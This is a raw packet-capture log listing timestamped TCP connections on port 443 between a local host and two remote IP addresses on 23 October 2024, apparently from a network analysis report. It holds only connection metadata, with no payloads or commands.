Oct 23, 2024 21:04:19.586618900 CEST	443	49834	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.615420103 CEST	443	49835	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.615947008 CEST	49835	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.615968943 CEST	443	49835	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.616409063 CEST	49835	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.616416931 CEST	443	49835	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.723603964 CEST	443	49834	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.723689079 CEST	443	49834	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.723747969 CEST	49834	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.723928928 CEST	49834	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.723946095 CEST	443	49834	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.723958969 CEST	49834	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.723967075 CEST	443	49834	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.727111101 CEST	49839	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.727140903 CEST	443	49839	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.727202892 CEST	49839	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.727329016 CEST	49839	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.727339029 CEST	443	49839	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.754074097 CEST	443	49835	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.754149914 CEST	443	49835	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.754337072 CEST	49835	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.754409075 CEST	49835	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.754422903 CEST	443	49835	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.754431963 CEST	49835	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.754442930 CEST	443	49835	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.757091999 CEST	49840	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.757107019 CEST	443	49840	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.757282972 CEST	49840	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.757523060 CEST	49840	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.757536888 CEST	443	49840	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.897330999 CEST	443	49836	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.897994041 CEST	49836	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.898005009 CEST	443	49836	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.898524046 CEST	49836	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.898530006 CEST	443	49836	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.909823895 CEST	443	49837	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.910501957 CEST	49837	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.910511017 CEST	443	49837	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:19.911364079 CEST	49837	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:19.911369085 CEST	443	49837	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.035955906 CEST	443	49836	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.036187887 CEST	443	49836	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.036262989 CEST	49836	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.036376953 CEST	49836	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.036402941 CEST	443	49836	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.036423922 CEST	49836	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.036432028 CEST	443	49836	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.040090084 CEST	49841	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.040126085 CEST	443	49841	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.040190935 CEST	49841	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.040379047 CEST	49841	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.040391922 CEST	443	49841	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.050755024 CEST	443	49837	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.050829887 CEST	443	49837	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.050890923 CEST	49837	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.051012993 CEST	49837	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.051018953 CEST	443	49837	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.051029921 CEST	49837	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.051034927 CEST	443	49837	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.053797007 CEST	49842	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.053809881 CEST	443	49842	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.053895950 CEST	49842	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.054116011 CEST	49842	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.054131031 CEST	443	49842	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.327289104 CEST	443	49838	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.328290939 CEST	49838	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.328303099 CEST	443	49838	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.328915119 CEST	49838	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.328919888 CEST	443	49838	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.464478016 CEST	443	49838	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.464550018 CEST	443	49838	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.464596033 CEST	49838	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.464889050 CEST	49838	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.464903116 CEST	443	49838	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.464931965 CEST	49838	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.464937925 CEST	443	49838	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.468811035 CEST	49843	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.468837976 CEST	443	49843	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.468902111 CEST	49843	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.469382048 CEST	49843	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.469394922 CEST	443	49843	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.477459908 CEST	443	49839	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.477890015 CEST	49839	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.477907896 CEST	443	49839	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.478462934 CEST	49839	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.478468895 CEST	443	49839	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.513149023 CEST	443	49840	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.513672113 CEST	49840	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.513691902 CEST	443	49840	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.514327049 CEST	49840	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.514331102 CEST	443	49840	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.613647938 CEST	443	49839	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.613740921 CEST	443	49839	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.613833904 CEST	49839	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.614049911 CEST	49839	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.614063978 CEST	443	49839	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.614089012 CEST	49839	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.614094973 CEST	443	49839	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.617510080 CEST	49844	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.617531061 CEST	443	49844	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.617603064 CEST	49844	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.617805004 CEST	49844	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.617814064 CEST	443	49844	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.651124954 CEST	443	49840	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.651272058 CEST	443	49840	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.651357889 CEST	49840	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.651654005 CEST	49840	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.651664019 CEST	443	49840	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.652439117 CEST	49840	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.652443886 CEST	443	49840	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.656116009 CEST	49845	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.656136036 CEST	443	49845	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.656194925 CEST	49845	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.656467915 CEST	49845	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.656481028 CEST	443	49845	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.687720060 CEST	49846	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:20.687784910 CEST	443	49846	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:20.687946081 CEST	49846	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:20.688585043 CEST	49846	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:20.688617945 CEST	443	49846	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:20.813437939 CEST	443	49841	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.813616991 CEST	443	49842	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.813970089 CEST	49841	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.813997984 CEST	443	49841	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.814445972 CEST	49841	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.814459085 CEST	443	49841	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.814479113 CEST	49842	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.814511061 CEST	443	49842	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.815140009 CEST	49842	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.815151930 CEST	443	49842	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.950521946 CEST	443	49841	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.950642109 CEST	443	49842	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.950685024 CEST	443	49841	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.950761080 CEST	49841	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.950843096 CEST	443	49842	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.950948000 CEST	49841	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.950954914 CEST	443	49841	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.950989008 CEST	49842	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.951026917 CEST	49842	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.951028109 CEST	49842	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.951060057 CEST	443	49842	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.951081038 CEST	443	49842	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.954451084 CEST	49847	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.954509020 CEST	443	49847	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.954619884 CEST	49847	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.954785109 CEST	49847	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.954817057 CEST	443	49847	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.954866886 CEST	49848	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.954895020 CEST	443	49848	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:20.955019951 CEST	49848	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.955041885 CEST	49848	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:20.955045938 CEST	443	49848	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.235682964 CEST	443	49843	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.236167908 CEST	49843	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.236207962 CEST	443	49843	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.236639977 CEST	49843	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.236648083 CEST	443	49843	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.376415968 CEST	443	49843	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.376513004 CEST	443	49843	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.376581907 CEST	49843	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.376782894 CEST	49843	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.376782894 CEST	49843	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.376821041 CEST	443	49843	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.376847029 CEST	443	49843	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.379580021 CEST	49849	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.379623890 CEST	443	49849	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.379815102 CEST	49849	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.379895926 CEST	49849	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.379904985 CEST	443	49849	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.388091087 CEST	443	49844	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.388478041 CEST	49844	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.388494968 CEST	443	49844	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.388956070 CEST	443	49846	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:21.388988972 CEST	49844	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.388994932 CEST	443	49844	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.389219999 CEST	49846	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:21.389244080 CEST	443	49846	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:21.390685081 CEST	443	49846	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:21.390816927 CEST	49846	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:21.391382933 CEST	49846	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:21.391470909 CEST	443	49846	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:21.391779900 CEST	49846	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:21.391794920 CEST	443	49846	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:21.433273077 CEST	49846	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:21.441886902 CEST	443	49845	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.442260981 CEST	49845	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.442291021 CEST	443	49845	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.442681074 CEST	49845	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.442687988 CEST	443	49845	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.528168917 CEST	443	49844	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.528215885 CEST	443	49844	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.528261900 CEST	49844	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.528270006 CEST	443	49844	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.528280973 CEST	443	49844	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.528330088 CEST	49844	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.528605938 CEST	49844	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.528615952 CEST	443	49844	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.533128023 CEST	49850	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.533164978 CEST	443	49850	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.533354998 CEST	49850	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.533593893 CEST	49850	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.533605099 CEST	443	49850	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.581001043 CEST	443	49845	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.581064939 CEST	443	49845	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.581135988 CEST	49845	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.581351042 CEST	49845	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.581391096 CEST	443	49845	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.581419945 CEST	49845	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.581434965 CEST	443	49845	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.584203005 CEST	49851	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.584253073 CEST	443	49851	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.584319115 CEST	49851	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.584494114 CEST	49851	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.584511995 CEST	443	49851	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.718555927 CEST	443	49848	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.719069004 CEST	49848	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.719089985 CEST	443	49848	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.719547987 CEST	49848	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.719552994 CEST	443	49848	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.720909119 CEST	443	49847	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.721230984 CEST	49847	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.721252918 CEST	443	49847	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:21.721609116 CEST	49847	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:21.721615076 CEST	443	49847	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.779006004 CEST	443	49848	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.779164076 CEST	443	49848	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.779252052 CEST	49848	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.779663086 CEST	443	49846	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:22.779793978 CEST	443	49846	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:22.779841900 CEST	49846	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:22.790851116 CEST	49848	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.790851116 CEST	49848	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.790863991 CEST	443	49848	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.790874004 CEST	443	49848	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.794996977 CEST	49846	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:22.795008898 CEST	443	49846	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:22.909231901 CEST	443	49847	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.909260035 CEST	443	49847	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.909322023 CEST	443	49847	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.909323931 CEST	49847	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.909375906 CEST	49847	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.939273119 CEST	443	49851	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.943093061 CEST	443	49849	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.959387064 CEST	49847	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.959409952 CEST	443	49847	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.959433079 CEST	49847	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.959439993 CEST	443	49847	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.963176966 CEST	49851	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.963202000 CEST	443	49851	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.964222908 CEST	49851	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.964227915 CEST	443	49851	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.965684891 CEST	49849	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.965698957 CEST	443	49849	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.966594934 CEST	49849	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.966598988 CEST	443	49849	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.969816923 CEST	443	49850	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.970762014 CEST	49850	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.970781088 CEST	443	49850	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.972104073 CEST	49850	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.972110033 CEST	443	49850	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.974421978 CEST	49852	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.974462986 CEST	443	49852	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.974544048 CEST	49852	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.974931002 CEST	49852	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.974951982 CEST	443	49852	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.978286028 CEST	49853	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.978331089 CEST	443	49853	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.978677988 CEST	49853	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.978677988 CEST	49853	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:22.978719950 CEST	443	49853	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:22.981004953 CEST	49854	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:22.981029034 CEST	443	49854	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:22.981100082 CEST	49854	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:22.981297970 CEST	49854	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:22.981312990 CEST	443	49854	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:23.094151020 CEST	443	49851	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.094191074 CEST	443	49851	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.094245911 CEST	49851	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.094255924 CEST	443	49851	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.094310045 CEST	49851	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.095032930 CEST	49851	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.095047951 CEST	443	49851	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.095060110 CEST	49851	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.095065117 CEST	443	49851	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.100653887 CEST	443	49849	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.100734949 CEST	443	49849	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.100785017 CEST	49849	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.101617098 CEST	49855	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.101635933 CEST	443	49855	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.101927996 CEST	49849	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.101936102 CEST	443	49849	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.101946115 CEST	49849	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.101948977 CEST	443	49849	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.102047920 CEST	49855	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.107342005 CEST	49856	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.107357979 CEST	443	49856	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.107445955 CEST	49856	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.107852936 CEST	49856	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.107875109 CEST	443	49856	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.108802080 CEST	49855	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.108820915 CEST	443	49855	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.326730013 CEST	443	49850	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.326916933 CEST	443	49850	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.327019930 CEST	49850	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.327246904 CEST	49850	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.327290058 CEST	443	49850	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.327328920 CEST	49850	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.327336073 CEST	443	49850	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.334211111 CEST	49857	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.334259987 CEST	443	49857	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.334467888 CEST	49857	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.334467888 CEST	49857	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.334497929 CEST	443	49857	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.668212891 CEST	443	49854	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:23.668585062 CEST	49854	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:23.668595076 CEST	443	49854	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:23.671375036 CEST	443	49854	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:23.672085047 CEST	49854	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:23.672137976 CEST	443	49854	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:23.672419071 CEST	49854	443	192.168.2.6	63.250.38.7
Oct 23, 2024 21:04:23.715352058 CEST	443	49854	63.250.38.7	192.168.2.6
Oct 23, 2024 21:04:23.731041908 CEST	443	49853	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.731564999 CEST	49853	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.731579065 CEST	443	49853	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.732157946 CEST	49853	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.732163906 CEST	443	49853	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.735872030 CEST	443	49852	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.736357927 CEST	49852	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.736368895 CEST	443	49852	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.736793995 CEST	49852	443	192.168.2.6	13.107.253.45
Oct 23, 2024 21:04:23.736799955 CEST	443	49852	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.858000040 CEST	443	49856	13.107.253.45	192.168.2.6
Oct 23, 2024 21:04:23.858552933 CEST	49856	443	192.168.2.6	13.107.253.45
